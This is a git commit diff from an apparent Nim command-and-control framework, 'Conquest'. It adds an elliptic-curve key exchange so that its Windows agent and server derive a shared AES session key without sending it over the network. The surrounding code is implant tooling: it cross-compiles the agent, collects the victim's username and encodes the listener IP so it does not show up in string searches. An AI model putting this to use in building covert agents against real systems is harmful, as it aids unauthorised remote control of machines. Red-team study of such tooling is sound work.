Implemented ECDH key exchange using ed25519 to share a symmetric AES key without transmitting it over the network.

This commit is contained in:
Jakob Friedl
2025-07-24 15:31:46 +02:00
parent cf4e4a7017
commit b6c720ccca
11 changed files with 166 additions and 45 deletions

View File

@@ -1,4 +1,11 @@
#!/bin/bash #!/bin/bash
CONQUEST_ROOT="/mnt/c/Users/jakob/Documents/Projects/conquest" CONQUEST_ROOT="/mnt/c/Users/jakob/Documents/Projects/conquest"
nim --os:windows --cpu:amd64 --gcc.exe:x86_64-w64-mingw32-gcc --gcc.linkerexe:x86_64-w64-mingw32-gcc -d:release --outdir:"$CONQUEST_ROOT/bin" -o:"monarch.x64.exe" c $CONQUEST_ROOT/src/agents/monarch/main.nim nim --os:windows \
--cpu:amd64 \
--gcc.exe:x86_64-w64-mingw32-gcc \
--gcc.linkerexe:x86_64-w64-mingw32-gcc \
-d:release \
--outdir:"$CONQUEST_ROOT/bin" \
-o:"monarch.x64.exe" \
c $CONQUEST_ROOT/src/agents/monarch/main.nim

View File

@@ -206,7 +206,7 @@ proc collectAgentMetadata*(config: AgentConfig): AgentRegistrationData =
iv: generateIV(), iv: generateIV(),
gmac: default(AuthenticationTag) gmac: default(AuthenticationTag)
), ),
sessionKey: config.sessionKey, agentPublicKey: config.agentPublicKey,
metadata: AgentMetadata( metadata: AgentMetadata(
listenerId: uuidToUint32(config.listenerId), listenerId: uuidToUint32(config.listenerId),
username: getUsername().toBytes(), username: getUsername().toBytes(),
@@ -251,8 +251,8 @@ proc serializeRegistrationData*(config: AgentConfig, data: var AgentRegistration
let header = packer.packHeader(data.header, uint32(encData.len)) let header = packer.packHeader(data.header, uint32(encData.len))
packer.reset() packer.reset()
# Serialize session key # Serialize the agent's public key to add it to the header
packer.addData(data.sessionKey) packer.addData(data.agentPublicKey)
let key = packer.pack() let publicKey = packer.pack()
return header & key & encData return header & publicKey & encData

View File

@@ -1,4 +1,4 @@
import strformat, os, times, random import strformat, os, times, system, base64
import winim import winim
import core/[task, taskresult, heartbeat, http, register] import core/[task, taskresult, heartbeat, http, register]
@@ -12,10 +12,9 @@ const Octet3 {.intdefine.}: int = 0
const Octet4 {.intdefine.}: int = 0 const Octet4 {.intdefine.}: int = 0
const ListenerPort {.intdefine.}: int = 5555 const ListenerPort {.intdefine.}: int = 5555
const SleepDelay {.intdefine.}: int = 10 const SleepDelay {.intdefine.}: int = 10
const ServerPublicKey {.strdefine.}: string = ""
proc main() = proc main() =
randomize()
#[ #[
The process is the following: The process is the following:
1. Agent reads configuration file, which contains data relevant to the listener, such as IP, PORT, UUID and sleep settings 1. Agent reads configuration file, which contains data relevant to the listener, such as IP, PORT, UUID and sleep settings
@@ -35,14 +34,26 @@ proc main() =
let address = $Octet1 & "." & $Octet2 & "." & $Octet3 & "." & $Octet4 let address = $Octet1 & "." & $Octet2 & "." & $Octet3 & "." & $Octet4
# Create agent configuration # Create agent configuration
var config = AgentConfig( var config: AgentConfig
agentId: generateUUID(), try:
listenerId: ListenerUuid, let agentKeyPair = generateKeyPair()
ip: address, let serverPublicKey = decode(ServerPublicKey).toKey()
port: ListenerPort,
sleep: SleepDelay, config = AgentConfig(
sessionKey: generateSessionKey(), # Generate a new AES256 session key for encrypted communication agentId: generateUUID(),
) listenerId: ListenerUuid,
ip: address,
port: ListenerPort,
sleep: SleepDelay,
sessionKey: deriveSessionKey(agentKeyPair, serverPublicKey), # Perform key exchange to derive AES256 session key for encrypted communication
agentPublicKey: agentKeyPair.publicKey
)
# Clean up agent's private key from memory
zeroMem(agentKeyPair.privateKey[0].addr, sizeof(PrivateKey))
except CatchableError as err:
echo "[-] " & err.msg
# Create registration payload # Create registration payload
var registration: AgentRegistrationData = config.collectAgentMetadata() var registration: AgentRegistrationData = config.collectAgentMetadata()

View File

@@ -5,4 +5,5 @@
-d:Octet3="0" -d:Octet3="0"
-d:Octet4="1" -d:Octet4="1"
-d:ListenerPort=9999 -d:ListenerPort=9999
-d:SleepDelay=5 -d:SleepDelay=10
-d:ServerPublicKey="8OysfB6C8kn8KSu8bYIH/78BMCpFOZsTaAWEG+860HY="

View File

@@ -1,21 +1,29 @@
import random import system
import nimcrypto import nimcrypto
import nimcrypto/blake2
from ed25519 import keyExchange, createKeyPair, seed
# from monocypher import crypto_key_exchange_public_key, crypto_key_exchange, crypto_blake2b, crypto_wipe
import ./[utils, types] import ./[utils, types]
proc generateSessionKey*(): Key = #[
# Generate a random 256-bit (32-byte) session key for AES-256 encryption Symmetric AES256 GCM encryption for secure C2 traffic
var key: array[32, byte] Ensures both confidentiality and integrity of the packet
for i in 0 ..< 32: ]#
key[i] = byte(rand(255)) proc generateKeyPair*(): KeyPair =
return key let keyPair = createKeyPair(seed())
return KeyPair(
privateKey: keyPair.privateKey,
publicKey: keyPair.publicKey
)
proc generateIV*(): Iv = proc generateIV*(): Iv =
# Generate a random 98-bit (12-byte) initialization vector for AES-256 GCM mode # Generate a random 98-bit (12-byte) initialization vector for AES-256 GCM mode
var iv: array[12, byte] var iv: Iv
for i in 0 ..< 12: if randomBytes(iv) != 12:
iv[i] = byte(rand(255)) raise newException(CatchableError, "Failed to generate IV.")
return iv return iv
proc encrypt*(key: Key, iv: Iv, data: seq[byte], sequenceNumber: uint64): (seq[byte], AuthenticationTag) = proc encrypt*(key: Key, iv: Iv, data: seq[byte], sequenceNumber: uint64): (seq[byte], AuthenticationTag) =
@@ -47,3 +55,67 @@ proc decrypt*(key: Key, iv: Iv, encData: seq[byte], sequenceNumber: uint64): (se
return (data, tag) return (data, tag)
#[
ECDHE key exchange using ed25519
]#
proc loadKeys*(privateKeyFile, publicKeyFile: string): KeyPair =
let filePrivate = open(privateKeyFile, fmRead)
defer: filePrivate.close()
var privateKey: PrivateKey
var bytesRead = filePrivate.readBytes(privateKey, 0, sizeof(PrivateKey))
if bytesRead != sizeof(PrivateKey):
raise newException(ValueError, "Invalid private key length.")
let filePublic = open(publicKeyFile, fmRead)
defer: filePublic.close()
var publicKey: PublicKey
bytesRead = filePublic.readBytes(publicKey, 0, sizeof(PublicKey))
if bytesRead != sizeof(PublicKey):
raise newException(ValueError, "Invalid public key length.")
return KeyPair(
privateKey: privateKey,
publicKey: publicKey
)
proc writeKey*[T: PublicKey | PrivateKey](keyFile: string, key: T) =
let file = open(keyFile, fmWrite)
defer: file.close()
let bytesWritten = file.writeBytes(key, 0, sizeof(T))
if bytesWritten != sizeof(T):
raise newException(ValueError, "Invalid key length.")
proc combineKeys(publicKey, otherPublicKey: Key): Key =
# XOR is a commutative operation, that ensures that the order of the public keys does not matter
for i in 0..<32:
result[i] = publicKey[i] xor otherPublicKey[i]
proc deriveSessionKey*(keyPair: KeyPair, publicKey: Key): Key =
var key: Key
# Calculate shared secret (https://monocypher.org/manual/x25519)
let sharedSecret = keyExchange(publicKey, keyPair.privateKey)
# Add combined public keys to hash
let combinedKeys: Key = combineKeys(keyPair.publicKey, publicKey)
# Calculate Blake2b hash to derive session key
var ctx: blake2_512
ctx.init()
ctx.update(sharedSecret)
ctx.update("CONQUEST".toBytes() & @combinedKeys)
let hash = ctx.finish
let bytes = hash.data[0..<sizeof(Key)]
copyMem(key[0].addr, bytes[0].addr, sizeof(Key))
# Cleanup
zeroMem(sharedSecret[0].addr, sharedSecret.len)
return key

View File

@@ -52,6 +52,8 @@ type
# Encryption # Encryption
type type
Key* = array[32, byte] Key* = array[32, byte]
PublicKey* = array[32, byte]
PrivateKey* = array[64, byte]
Iv* = array[12, byte] Iv* = array[12, byte]
AuthenticationTag* = array[16, byte] AuthenticationTag* = array[16, byte]
@@ -133,7 +135,7 @@ type
AgentRegistrationData* = object AgentRegistrationData* = object
header*: Header header*: Header
sessionKey*: Key # [32 bytes ] AES 256 session key agentPublicKey*: Key # [32 bytes ] Public key of the connecting agent for key exchange
metadata*: AgentMetadata metadata*: AgentMetadata
# Agent structure # Agent structure
@@ -168,12 +170,17 @@ type
# Server structure # Server structure
type type
KeyPair* = object
privateKey*: PrivateKey
publicKey*: Key
Conquest* = ref object Conquest* = ref object
prompt*: Prompt prompt*: Prompt
dbPath*: string dbPath*: string
listeners*: Table[string, Listener] listeners*: Table[string, Listener]
agents*: Table[string, Agent] agents*: Table[string, Agent]
interactAgent*: Agent interactAgent*: Agent
keyPair*: KeyPair
# Agent Config # Agent Config
type type
@@ -183,4 +190,5 @@ type
ip*: string ip*: string
port*: int port*: int
sleep*: int sleep*: int
sessionKey*: Key sessionKey*: Key
agentPublicKey*: PublicKey

View File

@@ -1,8 +1,14 @@
import strutils, sequtils, random, strformat import strutils, sequtils, strformat
import nimcrypto
import ./types
proc generateUUID*(): string = proc generateUUID*(): string =
# Create a 4-byte HEX UUID string (8 characters) # Create a 4-byte HEX UUID string (8 characters)
(0..<4).mapIt(rand(255)).mapIt(fmt"{it:02X}").join() var uuid: array[4, byte]
if randomBytes(uuid) != 4:
raise newException(CatchableError, "Failed to generate UUID.")
return uuid.toHex().toUpperAscii()
proc uuidToUint32*(uuid: string): uint32 = proc uuidToUint32*(uuid: string): uint32 =
return fromHex[uint32](uuid) return fromHex[uint32](uuid)
@@ -62,4 +68,10 @@ proc toBytes*(value: uint64): seq[byte] =
byte((value shr 40) and 0xFF), byte((value shr 40) and 0xFF),
byte((value shr 48) and 0xFF), byte((value shr 48) and 0xFF),
byte((value shr 56) and 0xFF) byte((value shr 56) and 0xFF)
] ]
proc toKey*(value: string): Key =
if value.len != 32:
raise newException(ValueError, "Invalid key length.")
copyMem(result[0].addr, value[0].unsafeAddr, 32)

View File

@@ -1,4 +1,4 @@
import terminal, strformat, strutils, tables, times, system, osproc, streams import terminal, strformat, strutils, tables, times, system, osproc, streams, base64
import ../utils import ../utils
import ../task/dispatcher import ../task/dispatcher
@@ -140,6 +140,9 @@ proc agentBuild*(cq: Conquest, listener, sleep, payload: string) =
# Parse IP Address and store as compile-time integer to hide hardcoded-strings in binary from `strings` command # Parse IP Address and store as compile-time integer to hide hardcoded-strings in binary from `strings` command
let (first, second, third, fourth) = parseOctets(listener.address) let (first, second, third, fourth) = parseOctets(listener.address)
# Covert the servers's public X25519 key to as base64 string
let publicKey = encode(cq.keyPair.publicKey)
# The following shows the format of the agent configuration file that defines compile-time variables # The following shows the format of the agent configuration file that defines compile-time variables
let config = fmt""" let config = fmt"""
# Agent configuration # Agent configuration
@@ -150,6 +153,7 @@ proc agentBuild*(cq: Conquest, listener, sleep, payload: string) =
-d:Octet4="{fourth}" -d:Octet4="{fourth}"
-d:ListenerPort={listener.port} -d:ListenerPort={listener.port}
-d:SleepDelay={sleep} -d:SleepDelay={sleep}
-d:ServerPublicKey="{publicKey}"
""".replace(" ", "") """.replace(" ", "")
writeFile(agentConfigFile, config) writeFile(agentConfigFile, config)

View File

@@ -4,7 +4,7 @@ import strutils, strformat, times, system, tables
import ./[agent, listener] import ./[agent, listener]
import ../[globals, utils] import ../[globals, utils]
import ../db/database import ../db/database
import ../../common/[types, utils] import ../../common/[types, utils, crypto]
#[ #[
Argument parsing Argument parsing
@@ -127,14 +127,16 @@ proc header(cq: Conquest) =
cq.writeLine("".repeat(21)) cq.writeLine("".repeat(21))
cq.writeLine("") cq.writeLine("")
proc initConquest*(dbPath: string): Conquest = # TODO: Add profile support instead of hardcoded paths, etc.
proc initConquest*(): Conquest =
var cq = new Conquest var cq = new Conquest
var prompt = Prompt.init() var prompt = Prompt.init()
cq.prompt = prompt cq.prompt = prompt
cq.dbPath = dbPath cq.dbPath = "../data/conquest.db"
cq.listeners = initTable[string, Listener]() cq.listeners = initTable[string, Listener]()
cq.agents = initTable[string, Agent]() cq.agents = initTable[string, Agent]()
cq.interactAgent = nil cq.interactAgent = nil
cq.keyPair = loadKeys("../data/keys/conquest-server_ed25519_private.key", "../data/keys/conquest-server_ed25519_public.key")
return cq return cq
@@ -146,8 +148,12 @@ proc startServer*() =
setControlCHook(exit) setControlCHook(exit)
# Initialize framework # Initialize framework
let dbPath: string = "../data/conquest.db" try:
cq = initConquest(dbPath) cq = initConquest()
except CatchableError as err:
echo err.msg
quit(0)
# Print header # Print header
cq.header() cq.header()
@@ -156,7 +162,7 @@ proc startServer*() =
cq.dbInit() cq.dbInit()
cq.restartListeners() cq.restartListeners()
cq.addMultiple(cq.dbGetAllAgents()) cq.addMultiple(cq.dbGetAllAgents())
# Main loop # Main loop
while true: while true:
cq.setIndicator("[conquest]> ") cq.setIndicator("[conquest]> ")

View File

@@ -1,8 +1,6 @@
import random
import core/server import core/server
import strutils import strutils
# Conquest framework entry point # Conquest framework entry point
when isMainModule: when isMainModule:
randomize()
startServer() startServer()

View File

@@ -95,10 +95,12 @@ proc deserializeNewAgent*(cq: Conquest, data: seq[byte]): Agent =
# TODO: Validate sequence number # TODO: Validate sequence number
# Key exchange
let agentPublicKey = unpacker.getKey()
let sessionKey = deriveSessionKey(cq.keyPair, agentPublicKey)
# Decrypt payload # Decrypt payload
let sessionKey = unpacker.getKey()
let payload = unpacker.getBytes(int(header.size)) let payload = unpacker.getBytes(int(header.size))
let (decData, gmac) = decrypt(sessionKey, header.iv, payload, header.seqNr) let (decData, gmac) = decrypt(sessionKey, header.iv, payload, header.seqNr)
# Verify that the authentication tags match, which ensures the integrity of the decrypted data and AAD # Verify that the authentication tags match, which ensures the integrity of the decrypted data and AAD